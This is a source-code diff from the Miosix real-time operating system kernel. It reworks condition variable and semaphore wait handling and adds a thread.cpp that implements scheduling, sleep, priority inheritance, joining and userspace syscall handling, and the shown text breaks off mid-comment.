specifying the same mutex, - * otherwise the behaviour is undefined. - * \param m a locked pthread_mutex_t - * \param absTime absolute timeout time in nanoseconds - * \return whether the return was due to a timout or wakeup + * Wakeup one waiting thread, chosen based on a wakeup policy that can be + * chosen at compile time in miosix_settings.h */ - TimedWaitResult timedWait(pthread_mutex_t *m, long long absTime); + void signal(); /** - * Wakeup one waiting thread. - * Currently implemented policy is fifo. + * Wakeup all waiting threads. */ - void signal() - { - //If the woken thread has higher priority than our priority, yield - if(doSignal()) Thread::yield(); - } + void broadcast(); /** - * Wakeup all waiting threads. + * \internal + * \return true if no thread is waiting on the condition variable */ - void broadcast() - { - //If at least one woken thread has higher priority than our priority, yield - if(doBroadcast()) Thread::yield(); - } + bool empty() const; //Unwanted methods ConditionVariable(const ConditionVariable&) = delete; ConditionVariable& operator= (const ConditionVariable&) = delete; private: - /** - * \internal Element of a thread waiting list - */ - class WaitToken : public IntrusiveListItem - { - public: - WaitToken(Thread *thread) : thread(thread) {} - Thread *thread; ///<\internal Waiting thread - }; - - /** - * Wakeup one waiting thread. - * Currently implemented policy is fifo. - * \return true if the woken thread has higher priority than the current one - */ - bool doSignal(); - - /** - * Wakeup all waiting threads. - * \return true if at least one of the woken threads has higher priority - * than the current one - */ - bool doBroadcast(); - - friend int ::pthread_cond_destroy(pthread_cond_t *); //Needs condList - friend int ::pthread_cond_signal(pthread_cond_t *); //Needs doSignal() - friend int ::pthread_cond_broadcast(pthread_cond_t *); //Needs doBroadcast() - - //Memory layout must be kept in sync with pthread_cond, see pthread.cpp - IntrusiveList condList; + /// Holds waiting threads, handles prioritization + /// A note for the curious: switching policy to ConsiderInheritedPriority + /// won't work and will likely crash. To be part of the priority inheritance + /// algorithm a synchronization primitive needs to be involved in the locked + /// list and class ConditionVariable doesn't. This is by design as you + /// should be locking only one mutex while calling wait() on a condition + /// variable and pass it to wait. Code that does this leaves no mutex locked + /// while waiting and thus does not need to deal with priority inheritance + /// while waiting on a condition variable. The priority of waiting threads + /// won't be boosted due to priority inheritance and threads will be + /// awakened in order their original "saved" priority. + /// Locking additional mutexes while waiting on a condition variable would + /// cause a priority boost while waiting, but doing so it's an antipattern + /// so we only care such code doesn't crash rather than correctly handling + /// prioritization in this case, and that's what IgnoreInheritedPriority + /// does: code exhibiting the antipattern will cause wakeup from the + /// condition variable in order of original "saved" priority, thus ignoring + /// inheritance but won't crash and won't need to go through the overhead + /// of adding condition variables to the locked list. + WaitQueue waitQueue; }; /** @@ -554,6 +555,14 @@ class ConditionVariable * \note As with all other synchronization primitives, Semaphores are inherently * shared between multiple threads, therefore special care must be taken in * managing their lifetime and ownership. + * + * \warning Although multiple threads can wait on the same semaphore, they are + * awakened in fifo order, thus using only a Sempahore in device driver can + * cause priority inversion. It is suggested for device drivers which are + * expected to be called concurrently by multiple threads to first lock a + * KernelMutex to handle thread synchronization and allow kernel builds with + * full priority inheritance, and then use the Semaphore only to synchronize the + * single thread that locked the mutex with interrupts. * \since Miosix 2.5 */ class Semaphore @@ -565,30 +574,10 @@ class Semaphore */ Semaphore(unsigned int initialCount=0) : count(initialCount) {} - /** - * Increment the semaphore counter, putting threads out of sleep without - * triggering a reschedule. - * Only for use in IRQ handlers. - * \param hppw is set to `true' if a scheduler update is necessary to - * wake up a formerly sleeping thread with `Scheduler::IRQfindNextThread()`. - * Otherwise it is not modified. - * \warning Use in a thread context with interrupts disabled or with the - * kernel paused is forbidden. - */ - void IRQsignal(bool& hppw); - /** * Increment the semaphore counter, waking up at most one waiting thread. - * Only for use in IRQ handlers. - * \warning Use in a thread context with interrupts disabled or with the - * kernel paused is forbidden. */ - void IRQsignal() - { - bool hppw=false; - IRQsignal(hppw); - if(hppw) Scheduler::IRQfindNextThread(); - } + void IRQsignal(); /** * Increment the semaphore counter, waking up at most one waiting thread. @@ -619,7 +608,7 @@ class Semaphore if(count>0) { // The wait "succeeded" - count--; + count-=1; return true; } return false; @@ -632,7 +621,7 @@ class Semaphore bool tryWait() { // Global interrupt lock because Semaphore is IRQ-safe - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQtryWait(); } @@ -655,7 +644,7 @@ class Semaphore int reset() { // Global interrupt lock because Semaphore is IRQ-safe - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQreset(); } @@ -669,25 +658,10 @@ class Semaphore Semaphore& operator= (const Semaphore&) = delete; private: - /** - * \internal Element of a thread waiting list - */ - class WaitToken : public IntrusiveListItem - { - public: - WaitToken(Thread *thread) : thread(thread) {} - Thread *thread; ///<\internal Waiting thread and spurious wakeup token - }; - - /** - * \internal - * Internal method that signals the semaphore without triggering a - * rescheduling for prioritizing newly-woken threads. - */ - inline Thread *IRQsignalNoPreempt(); - volatile unsigned int count; ///< Counter of the semaphore - IntrusiveList fifo; ///< List of waiting threads + /// List of waiting threads. Can't use WaitQueue as that class is meant to + /// be used in PK contenxt, not IRQ context + IntrusiveList fifo; }; /** diff --git a/miosix/kernel/thread.cpp b/miosix/kernel/thread.cpp new file mode 100644 index 000000000..a12e67d0e --- /dev/null +++ b/miosix/kernel/thread.cpp @@ -0,0 +1,1232 @@ +/*************************************************************************** + * Copyright (C) 2008-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "thread.h" +#include "error.h" +#include "logging.h" +#include "sync.h" +#include "boot.h" +#include "process.h" +#include "stackcheck.h" +#include "scheduler/scheduler.h" +#include "sched_data_structures.h" +#include "kercalls/libc_integration.h" +#include "interfaces_private/cpu.h" +#include "interfaces_private/userspace.h" +#include "interfaces_private/os_timer.h" +#include "interfaces_private/sleep.h" +#include "interfaces_private/smp.h" +#include "timeconversion.h" +#include "pthread_private.h" +#include +#include +#include +#include +#include + +using namespace std; + +/* + * This global variable is used to point to the context of the currently running + * thread. It is kept even though global variables are generally bad due to + * performance reasons. It is used by + * - saveContext() / restoreContext(), to perform context switches + * - the schedulers, to set the newly running thread before a context switch + * - IRQportableStartKernel(), to perform the first context switch + * It is defined in the header interfaces_private/cpu.h + */ +extern "C" { +volatile unsigned int *ctxsave[miosix::CPU_NUM_CORES]; +} + + +namespace miosix { + +//Global variables used by thread.cpp. Those that are not static are also used +//in lock.cpp and by the schedulers. +//These variables MUST NOT be used outside of those files + +///\internal Threads currently running on all CPU cores +volatile Thread *runningThreads[CPU_NUM_CORES]={nullptr}; + +///\internal True if there are threads in the DELETED status. Used by idle thread +static volatile int existDeleted=0; + +TimeSortedQueue sleepingList;///list of sleeping threads + +#ifdef WITH_PROCESSES +/// The proc field of the Thread class for kernel threads points to this object +static ProcessBase *kernelProcess=nullptr; +#endif //WITH_PROCESSES + +#ifdef WITH_DEEP_SLEEP +extern int deepSleepCounter; ///< Shared with lock.cpp +#endif //WITH_DEEP_SLEEP + +/** + * \internal + * Idle thread. Created when the kernel is started, it physically deallocates + * memory for deleted threads, and puts the cpu in sleep mode. + * + * \warning Code called from the idle thread must not use C library functions + * that require locking since the idle thread shares the same C reentrancy + * structure with main. + */ +void *idleThreadCore0(void *) +{ + for(;;) + { + if(atomicSwap(&existDeleted,0)) Scheduler::removeDeadThreads(); + #ifdef WITH_SLEEP + #ifdef WITH_DEEP_SLEEP + #ifdef WITH_SMP + #error Deep sleep not yet supported in SMP kernel + // TODO: deep sleep turns off clock to all peripherals and cpus, so it + // can be entered only when all cpus are idle. + // To implement this the following are needed: + // - The scheduler needs to expose a global counting how many cores + // are idle + // - The deep sleep check/enter logic here needs to run on all cores + // (not just core 0) + // - Deep sleep is entered when deepSleepCounter==0 and the cpu idle + // global reaches the core count + #endif + { + FastGlobalIrqLock lock; + bool sleep; + if(deepSleepCounter==0) + { + if(sleepingList.empty()==false) + { + long long wakeup=sleepingList.front()->wakeupTime; + sleep=!IRQdeepSleep(wakeup); + } else sleep=!IRQdeepSleep(); + } else sleep=true; + //NOTE: going to sleep with interrupts disabled makes sure no + //preemption occurs from when we take the decision to sleep till + //we actually do sleep. Wakeup interrupt will be run when we enable + //back interrupts + if(sleep) sleepCpu(); + } + #else //WITH_DEEP_SLEEP + sleepCpu(); + #endif //WITH_DEEP_SLEEP + #endif //WITH_SLEEP + } +} + +#ifdef WITH_SMP +/** + * \internal + * Idle thread for cores other than the core 0, does even less + * + * \warning Code called from the idle thread must not use C library functions + * that require locking since the idle thread shares the same C reentrancy + * structure with main. This is not a problem as this idle thread at most + * calls the assembly instruction to sleep the CPU + */ +void *idleThreadOtherCores(void *) +{ + for(;;) + { + #ifdef WITH_SLEEP + sleepCpu(); + #endif //WITH_SLEEP + } +} +#endif + +/** + * \internal + * Start the kernel.
There is no way to stop the kernel once it is + * started, except a (software or hardware) system reset.
+ * Calls errorHandler(Error::OUT_OF_MEMORY) if there is no heap to create the + * idle thread. If the function succeds in starting the kernel, it never returns; + * otherwise it will call errorHandler(Error::OUT_OF_MEMORY) and then return + * immediately. IRQstartKernel() must not be called when the kernel is already + * started. + */ +void IRQstartKernel() +{ + if(areInterruptsEnabled()) errorHandler(Error::INTERRUPTS_ENABLED_AT_BOOT); + #ifdef WITH_SMP + if(GlobalIrqLock::holdingCore!=0) + errorHandler(Error::INTERRUPTS_ENABLED_AT_BOOT); + #endif + if(FastPauseKernelLock::holdingCore!=0) + errorHandler(Error::KERNEL_ALREADY_STARTED_AT_BOOT); + + #ifdef WITH_PROCESSES + try { + kernelProcess=new ProcessBase; + } catch(...) { + errorHandler(Error::OUT_OF_MEMORY); + } + #endif //WITH_PROCESSES + + // As a side effect this function allocates the first idle thread and makes + // runningThreads[0] point to it. It's probably been called at least once + // during boot by the time we get here, but we can't be sure + auto *idle=Thread::IRQgetCurrentThread(); + + #ifdef WITH_PROCESSES + // If the idle thread was allocated before IRQstartKernel(), then its proc + // is nullptr. We can't move kernelProcess=new ProcessBase; earlier than this + // function, though + idle->proc=kernelProcess; + #endif //WITH_PROCESSES + + // Create the main thread and add it to the scheduler. + Thread *main; + main=Thread::doCreate(mainLoader,MAIN_STACK_SIZE,nullptr,Thread::DEFAULT,true); + if(main==nullptr) errorHandler(Error::OUT_OF_MEMORY); + if(Scheduler::IRQaddThread(main,DEFAULT_PRIORITY)==false) errorHandler(Error::UNEXPECTED); + + // Idle thread needs to be set after main (see control_scheduler.cpp) + Scheduler::IRQsetIdleThread(0,idle); + + // On SMP platforms, create and set idle threads for all other cores, and + // prepare the array of core main functions. + #ifdef WITH_SMP + void *coreBootStacks[CPU_NUM_CORES-1]; + void (*coreBootEntryPoints[CPU_NUM_CORES-1])(); + for(int i=1;i(idle)-CTXSAVE_ON_STACK; + coreBootEntryPoints[i-1]=&IRQportableStartKernel; + } + #endif //WITH_SMP + + // Make the C standard library use per-thread reeentrancy structure + setCReentrancyCallback(Thread::getCReent); + + // Initialize the global locks + #ifdef WITH_SMP + GlobalIrqLock::holdingCore=0xff; + #endif + FastPauseKernelLock::holdingCore=0xff; + // Boot the other cores, and then this core. + #ifdef WITH_SMP + IRQinitSMP(coreBootStacks,coreBootEntryPoints); + #endif //WITH_SMP + IRQportableStartKernel(); +} + +//These are not implemented here, but in the platform/board-specific os_timer. +//long long getTime() noexcept +//long long IRQgetTime() noexcept + +/** + * \internal + * This is the OS timer interrupt for WAKEUP_HANDLING_CORE, the only core that + * is assigned the task to handle the wakeup of sleeping threads. The OS timer + * is set aperiodically by the scheduler to both wake sleeping threads and to + * handle preemption on that core. + * \warning currentTime cannot be earlier than the last timer interrupt actually + * programmed by the scheduler! + */ +void IRQwakeThreads(long long currentTime) +{ + if(extraChecks==ExtraChecks::Kernel) + if(getCurrentCoreId()!=WAKEUP_HANDLING_CORE) errorHandler(Error::UNEXPECTED); + + // Condition (for the unified timer model) + // A woken higher priority thread than running on another core + // B woken higher priority thread than running on WAKEUP_HANDLING_CORE + // C time to preempt task on WAKEUP_HANDLING_CORE + // Truth table + // A B C + // 0 0 0 osTimerSetInterrupt(min(firstWakeup,nextPreempt)) + // 0 0 1 invokeScheduler + // 0 1 0 invokeScheduler + // 0 1 1 invokeScheduler + // 1 0 0 invokeSchedulerOnCore + osTimerSetInterrupt(min(firstWakeup,nextPreempt)) + // 1 0 1 invokeSchedulerOnCore + invokeScheduler + // 1 1 0 invokeSchedulerOnCore + invokeScheduler + // 1 1 1 invokeSchedulerOnCore + invokeScheduler + bool hptw=false; + while(SleepToken *st=sleepingList.dequeueTime(currentTime)) + { + // Wake both threads doing absoluteSleep() and timedWait() + Thread *t=st->thread; + t->flags.IRQclearSleepAndWait(t); + // Heuristic load balancing: threads waking from sleep get preferentially + // allocated to higher core numbers + if(Thread::IRQconsiderRescheduling(t,WAKEUP_HANDLING_CORE)) + hptw=true; + } + if(hptw) IRQinvokeScheduler(); + #ifdef OS_TIMER_MODEL_UNIFIED + // In the unified model, the scheduler on WAKEUP_HANDLING_CORE uses + // IRQosTimerSetInterrupt() for both preemption and wakeup, so if we're + // calling the scheduler already, no need to set the next wakeup interrupt + else { + long long nextPreempt=Scheduler::IRQgetWakeupCoreNextPreemption(); + if(currentTime>=nextPreempt) IRQinvokeScheduler(); + else { + // In the unified timer model we need to set the next interrupt to + // the minimum time between the enxt preemption and the next wakeup + long long firstWakeup; + if(sleepingList.empty()) firstWakeup=numeric_limits::max(); + else firstWakeup=sleepingList.front()->wakeupTime; + IRQosTimerSetInterrupt(min(firstWakeup,nextPreempt)); + } + } + #else //OS_TIMER_MODEL_UNIFIED + // In the separate timer model, IRQosTimerSetInterrupt() is only used for + // thread wakeups + if(sleepingList.empty()==false) + IRQosTimerSetInterrupt(sleepingList.front()->wakeupTime); + #endif //OS_TIMER_MODEL_UNIFIED +} + +/** + * Update the OS timer after a thread is added to the sleeping list. + * Must not be called when the sleepingList is empty. + */ +static inline void IRQupdateOsTimer() +{ + // Updating the OS timer is only required + // - In the separate timer model, as in this case the scheduler never calls + // IRQosTimerSetInterrupt(), both on single core and SMP configurations + // - In the unified timer model with SMP, as in this case the scheduler + // updates the OS timer only when running on WAKEUP_HANDLING_CORE, thus a + // thread running on another core and initiating a sleep won't cause the + // OS timer to be updated + #if !defined(OS_TIMER_MODEL_UNIFIED) || defined(WITH_SMP) + if(extraChecks==ExtraChecks::Kernel && sleepingList.empty()) + errorHandler(Error::UNEXPECTED); + long long firstWakeup=sleepingList.front()->wakeupTime; + if(firstWakeupwatermark; + thread->~Thread(); + free(base); //Delete ALL thread memory + return nullptr; + } + // Heuristic load balancing: threads just created get preferentially + // allocated to higher core numbers + if(IRQconsiderRescheduling(thread,getCurrentCoreId())) + IRQinvokeScheduler(); + return thread; +} + +void Thread::yield() +{ + // NOTE: IRQinvokeScheduler is currently safe to be called also without the + // global lock. If this property changes, we'll need to take the lock + IRQinvokeScheduler(); +} + +void Thread::sleep(unsigned int ms) +{ + nanoSleepUntil(getTime()+mul32x32to64(ms,1000000)); +} + +void Thread::nanoSleep(long long ns) +{ + nanoSleepUntil(getTime()+ns); +} + +void Thread::nanoSleepUntil(long long absoluteTimeNs) +{ + //Disallow absolute sleeps with negative or too low values, as the ns2tick() + //algorithm in TimeConversion can't handle negative values and may undeflow + //even with very low values due to a negative adjustOffsetNs. As an unlikely + //side effect, very short sleeps done very early at boot will be extended. + absoluteTimeNs=max(absoluteTimeNs,100000LL); + //pauseKernel() here is not enough since even if the kernel is stopped + //the timer isr will wake threads, modifying the sleepingList + { + FastGlobalIrqLock dLock; + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + SleepToken st(cur,absoluteTimeNs); + cur->flags.IRQsetSleep(cur); //Sleeping thread: set sleep flag + sleepingList.enqueue(&st); + IRQupdateOsTimer(); + IRQinvokeScheduler(); + { + FastGlobalIrqUnlock eLock(dLock); + //Interrupts are enabled, context switch happens, return after wakeup + } + //Only required for interruptibility when terminate is called + sleepingList.remove(&st); + } +} + +void Thread::wait() +{ + //pausing the kernel is not enough because of IRQwait and IRQwakeup + { + FastGlobalIrqLock lock; + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + cur->flags.IRQsetWait(cur); + IRQinvokeScheduler(); + } + //Interrupts are enabled, context switch happens, return after wakeup +} + +TimedWaitResult Thread::timedWait(long long absoluteTimeNs) +{ + FastGlobalIrqLock dLock; + return IRQglobalIrqUnlockAndTimedWaitImpl(absoluteTimeNs); +} + +void Thread::wakeup() +{ + //pausing the kernel is not enough because of IRQwait and IRQwakeup + FastGlobalIrqLock lock; + IRQwakeup(); +} + +void Thread::PKwakeup() +{ + //pausing the kernel is not enough because of IRQwait and IRQwakeup + //DO NOT refactor this code by calling IRQwakeup() as IRQwakeup can cause + //the scheduler interrupt to be called on the current core + FastGlobalIrqLock lock; + this->flags.IRQclearWait(this); + // Heuristic load balancing: threads waking from mutexes get preferentially + // allocated to lower core numbers + if(IRQconsiderRescheduling(this,getCurrentCoreId())) + { + //Thread is higher priority than the one running on this core, but we + //can't invoke the scheduler since we are in PK context and preemption + //is disabled, so set pendingWakeup + FastPauseKernelLock::pendingWakeup=true; + } +} + +void Thread::IRQwakeup() +{ + this->flags.IRQclearWait(this); + // Heuristic load balancing: threads waking from I/O get preferentially + // allocated to lower core numbers + if(IRQconsiderRescheduling(this,getCurrentCoreId())) + IRQinvokeScheduler(); +} + +Thread *Thread::getCurrentThread() +{ + //Need to add lock if SMP, see comment in Thread::IRQgetCurrentThread() + #ifdef WITH_SMP + fastDisableIrq(); + #endif //WITH_SMP + Thread *result=IRQgetCurrentThread(); + #ifdef WITH_SMP + fastEnableIrq(); + #endif //WITH_SMP + return result; +} + +Thread *Thread::IRQgetCurrentThread() +{ + // NOTE: this function used to be safe to be called also with interrupts + // enabled and older versions of Miosix took advantage of this property to + // have getCurrentThread() and PKgetCurrentThread() call this function + // directly without adding locks for perfromance reasons. + // On multi-core architectures, calling this function without taking any + // lock is no longer safe, as a context switch can happen between the + // getCurrentCoreId() and array indexing. If the thread migrates to a + // different core during the context switch, this function then returns the + // wrong thread pointer. This caused intermittent failures in the testsuite + // test_26. + // There is actually no need to take the global lock though, disabling + // interrupts on the local core and/or taking the pause kernel lock is + // enough to prevent the currently running thread from being preempted and + // migrated. Thus, in the current implementation + // - PKgetCurrentThread() calls IRQgetCurrentThread() without futher locks + // - getCurrentThread() on multi-core architectures disables interrupts on + // the core it is called from, on single-core architectures takes no lock + + Thread *result=const_cast(runningThreads[getCurrentCoreId()]); + if(result) return result; + //This function must always return a pointer to a valid thread. The first + //time this is called before the kernel is started, however, runningThreads + //is nullptr, thus we allocate the idle thread and return a pointer to that. + return IRQallocateIdleThread(); +} + +bool Thread::IRQexists(Thread* t) +{ + if(t==nullptr) return false; + return Scheduler::IRQexists(t); +} + +Priority Thread::getPriority() +{ + //NOTE: the code in all schedulers is currently safe to be called either + //with interrupt enabed or not, and with the kernel paused or not, so + //PKgetPriority() and IRQgetPriority() directly call here. If introducing + //changes that break this property, these functions may need to be split + return Scheduler::getPriority(this); +} + +void Thread::setPriority(Priority pr) +{ + if(pr.validate()==false) return; + + PauseKernelLock dLock; + Thread *cur=PKgetCurrentThread(); + //If thread is locking at least one mutex + if(cur->mutexLocked!=nullptr) + { + /* + * The following algorithm may look simple but it's not, as setting a + * thread priority when it's locking one or more mutexes with priority + * inheritance requires to consider 4 variables: + * A savedPriority: final priority when unlocking all mutexes + * B inheritedPriority: max priority of all threads waiting on all + * mutexes this thread is locking + * C actualPriority: the current priority of the thread as seen by the + * scheduler that already takes into account inheritance so far + * D newPriority: the priority we want to set through this function + * + * Here are some test cases to wrap your head around: + * A B C D corresponding action we want to do in this function + * 3 1 3 0 savedPriority=0; IRQsetPriority(1); yield(); + * 3 1 3 1 savedPriority=1; IRQsetPriority(1); yield(); + * 3 1 3 2 savedPriority=2; IRQsetPriority(2); yield(); + * 3 1 3 3 - + * 3 1 3 4 savedPriority=4; IRQsetPriority(4); + * 1 2 2 1 - + * 1 2 2 2 savedPriority=2; + * 1 2 2 3 savedPriority=3; IRQsetPriority(3); + * 2 2 2 1 savedPriority=1; + * 2 2 2 2 - + * 2 2 2 3 savedPriority=3; IRQsetPriority(3); + * 2 - 2 1 savedPriority=1; IRQsetPriority(1); yield(); + * 2 - 2 2 - + * 2 - 2 3 savedPriority=3; IRQsetPriority(3); + * NOTE: inheritedPriority can not have a defined value if the current + * thread is locking mutexes but no threads are waiting on them + */ + + //savedPriority must always be changed, when all mutexes are eventually + //unlocked the final thread priority must be the one we set here + if(cur->savedPriority==pr) return; + cur->savedPriority=pr; + + //We could perform this computation only if(prPKgetPriority(); + if(pr==oldActualPrio) return; + { + //If not locking any mutex priority and savedPriority must be the same + if(cur->mutexLocked==nullptr) cur->savedPriority=pr; + FastGlobalIrqLock irqLock; + Scheduler::IRQsetPriority(cur,pr); + //We're also in a PauseKernelLock, don't waste time calling the + //scheduler just for it to set pendingWakeup and bounce back, set it + //here. With the current implementation of the priority scheduler + //there's a possible spurious yield here, since we'll be put to the back + //of the scheduling queue even if there's no higher priority thread than + //our new (lowered) priority, but there's no way of knowing unless we + //peek at the scheduler data structures here which we don't want to + if(prstatus, so pauseKernel is + //not enough, we need to disable interrupts + FastGlobalIrqLock lock; + if(this->flags.isDeleting()) return; //Prevent sleep interruption abuse + this->flags.IRQsetDeleting(); + this->flags.IRQclearSleepAndWait(this); //Interruptibility +} + +bool Thread::testTerminate() +{ + return getCurrentThread()->flags.isDeleting(); +} + +void Thread::detach() +{ + FastGlobalIrqLock lock; + if(extraChecks!=ExtraChecks::None) + if(this!=Thread::IRQgetCurrentThread() && Thread::IRQexists(this)==false) + return; + + this->flags.IRQsetDetached(); + + //we detached a terminated thread, so its memory needs to be deallocated + if(this->flags.isZombie()) atomicSwap(&existDeleted,1); + + //Corner case: detaching a thread, but somebody else already called join + //on it. This makes join return false instead of deadlocking + Thread *t=this->joinData.waitingForJoin; + if(t!=nullptr) + { + //joinData is an union, so its content can be an invalid thread + //this happens if detaching a thread that has already terminated + if(this->flags.isZombie()==false) + { + //Wake thread, or it might sleep forever + t->flags.IRQclearJoinWait(t); + // Heuristic load balancing: threads waiting on join get preferentially + // allocated to higher core numbers + if(IRQconsiderRescheduling(t,getCurrentCoreId())) + IRQinvokeScheduler(); + } + } +} + +bool Thread::isDetached() const +{ + return this->flags.isDetached(); +} + +bool Thread::join(void** result) +{ + { + FastGlobalIrqLock dLock; + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + if(this==cur) return false; + if(extraChecks!=ExtraChecks::None) + if(Thread::IRQexists(this)==false) return false; + if(this->flags.isDetached()) return false; + if(this->flags.isZombie()==false) + { + //Another thread already called join on toJoin + if(this->joinData.waitingForJoin!=nullptr) return false; + + this->joinData.waitingForJoin=cur; + for(;;) + { + //Wait + cur->flags.IRQsetJoinWait(cur); + IRQinvokeScheduler(); + { + FastGlobalIrqUnlock eLock(dLock); + //Interrupts are enabled, context switch happens + } + if(extraChecks!=ExtraChecks::None) + if(Thread::IRQexists(this)==false) return false; + if(this->flags.isDetached()) return false; + if(this->flags.isZombie()) break; + } + } + //Thread deleted, complete join procedure + //Setting detached flag will make isDeleted() return true, + //so its memory can be deallocated + this->flags.IRQsetDetached(); + if(result!=nullptr) *result=this->joinData.result; + } + //Since there is surely one dead thread, deallocate it immediately + //to free its memory as soon as possible + Scheduler::removeDeadThreads(); + return true; +} + +bool Thread::setAffinity(CpuSet affinity) +{ + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + if(affinity==0) return false; + if(affinity>unrestrictedAffinityMask) return false; + { + FastGlobalIrqLock dLock; + if(extraChecks!=ExtraChecks::None) + if(this!=Thread::IRQgetCurrentThread() && Thread::IRQexists(this)==false) + return false; + this->affinity=affinity; + for(int i=0;i(runningThreads[i])!=this) continue; + // Thread whose affinity was changed is currently running on a core, + // check if it's compatible with it + if((affinity & (1<watermark+(WATERMARK_LEN/sizeof(unsigned int)); +} + +int Thread::getStackSize() +{ + return getCurrentThread()->stacksize; +} + +#ifdef WITH_PROCESSES + +void Thread::IRQhandleSvc() +{ + FastGlobalLockFromIrq lock; + IRQstackOverflowCheck(); + int coreId=getCurrentCoreId(); + Thread *cur=const_cast(runningThreads[coreId]); + if(cur->proc==kernelProcess) errorHandler(Error::UNEXPECTED); + //We know it's not the kernel, so the cast is safe + auto *proc=static_cast(cur->proc); + //Don't process syscall if a fault already happened. This can happen if + //the stack overflow check triggered and caused a fault. + if(proc->fault.IRQfaultHappened()) return; + + //Note that it is required to use ctxsave and not cur->ctxsave because + //at this time we do not know if the active context is user or kernel + switch(static_cast(peekSyscallId( + const_cast(::ctxsave[coreId])))) + { + case Syscall::YIELD: + //Yield syscall is handled here in the IRQ by calling the scheduler + Scheduler::IRQrunScheduler(); + return; + case Syscall::USERSPACE: + //Userspace syscall is handled here in the IRQ by switching to userspace + cur->flags.IRQsetUserspace(true); + ::ctxsave[coreId]=cur->userCtxsave; + proc->mpu.IRQenable(); + break; + default: + //All other syscalls are handled by switching to kernelspace + cur->flags.IRQsetUserspace(false); + ::ctxsave[coreId]=cur->ctxsave; + MPUConfiguration::IRQdisable(); + break; + } +} + +bool Thread::IRQreportFault(const FaultData& fault) +{ + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + if(cur->flags.isInUserspace()==false || cur->proc==kernelProcess) return false; + //We know it's not the kernel, so the cast is safe + auto *proc=static_cast(cur->proc); + //Record the fault for later reporting. + proc->fault=fault; + proc->fault.IRQtryAddProgramCounter(cur->userCtxsave,proc->mpu); + //Switch to kernel mode + cur->flags.IRQsetUserspace(false); + ::ctxsave[getCurrentCoreId()]=cur->ctxsave; + MPUConfiguration::IRQdisable(); + return true; +} + +SyscallParameters Thread::switchToUserspace() +{ + portableSwitchToUserspace(); + SyscallParameters result(Thread::getCurrentThread()->userCtxsave); + return result; +} + +Thread *Thread::createUserspace(void *(*startfunc)(void *), Process *proc) +{ + Thread *thread=doCreate(startfunc,SYSTEM_MODE_PROCESS_STACK_SIZE,nullptr, + Thread::JOINABLE,false); + if(thread==nullptr) return nullptr; + + unsigned int *base=thread->watermark; + try { + thread->userCtxsave=new unsigned int[CTXSAVE_SIZE]; + } catch(bad_alloc&) { + thread->~Thread(); + free(base); //Delete ALL thread memory + return nullptr;//Error + } + + thread->proc=proc; + thread->flags.IRQsetWait(thread); //Thread is not yet ready + + //Add thread to thread list + bool result; + { + FastGlobalIrqLock dLock; + result=Scheduler::IRQaddThread(thread,DEFAULT_PRIORITY); + } + if(result==false) + { + //Reached limit on number of threads + base=thread->watermark; + thread->~Thread(); + free(base); //Delete ALL thread memory + return nullptr; + } + + return thread; +} + +void Thread::setupUserspaceContext(unsigned int entry, int argc, void *argvSp, + void *envp, unsigned int *gotBase, unsigned int stackSize) +{ + //Fill watermark and stack + char *base=reinterpret_cast(argvSp)-stackSize-WATERMARK_LEN; + memset(base, WATERMARK_FILL, WATERMARK_LEN); + memset(base+WATERMARK_LEN, STACK_FILL, stackSize); + Thread *cur=getCurrentThread(); + cur->userWatermark=reinterpret_cast(base); + //Initialize registers + //NOTE: for the main thread in a process userWatermark is also the end of + //the heap, used by _sbrk_r. When we'll implement threads in processes that + //pointer will just point to the watermark end of the thread, but userspace + //threads can just ignore that value so we'll pass it unconditionally + initUserThreadCtxsave(cur->userCtxsave,entry,argc,argvSp,envp, + gotBase,cur->userWatermark); +} + +#endif //WITH_PROCESSES + +Thread::Thread(unsigned int *watermark, unsigned int stacksize, + bool defaultReent) : schedData(), savedPriority(0), + mutexLocked(nullptr), mutexWaiting(nullptr), waitQueueItem(this), + watermark(watermark), ctxsave(), stacksize(stacksize) +{ + joinData.waitingForJoin=nullptr; + if(defaultReent) cReentrancyData=_GLOBAL_REENT; + else { + cReentrancyData=static_cast(malloc(sizeof(_reent))); + if(cReentrancyData) _REENT_INIT_PTR(cReentrancyData); + } + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + affinity=unrestrictedAffinityMask; + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + #ifdef WITH_PROCESSES + proc=kernelProcess; + userCtxsave=nullptr; + #endif //WITH_PROCESSES + #ifdef WITH_PTHREAD_KEYS + memset(pthreadKeyValues,0,sizeof(pthreadKeyValues)); + #endif //WITH_PTHREAD_KEYS +} + +Thread::~Thread() +{ + if(cReentrancyData && cReentrancyData!=_GLOBAL_REENT) + { + _reclaim_reent(cReentrancyData); + free(cReentrancyData); + } + #ifdef WITH_PROCESSES + if(userCtxsave) delete[] userCtxsave; + #endif //WITH_PROCESSES +} + +Thread *Thread::doCreate(void*(*startfunc)(void*), unsigned int stacksize, + void* argv, Options options, bool defaultReent) +{ + unsigned int fullStackSize=WATERMARK_LEN+CTXSAVE_ON_STACK+stacksize; + + //Align fullStackSize to the platform required stack alignment + fullStackSize+=CTXSAVE_STACK_ALIGNMENT-1; + fullStackSize/=CTXSAVE_STACK_ALIGNMENT; + fullStackSize*=CTXSAVE_STACK_ALIGNMENT; + + //Allocate memory for the thread, return if fail + unsigned int *base=static_cast(malloc(sizeof(Thread)+ + fullStackSize)); + if(base==nullptr) return nullptr; + + //At the top of thread memory allocate the Thread class with 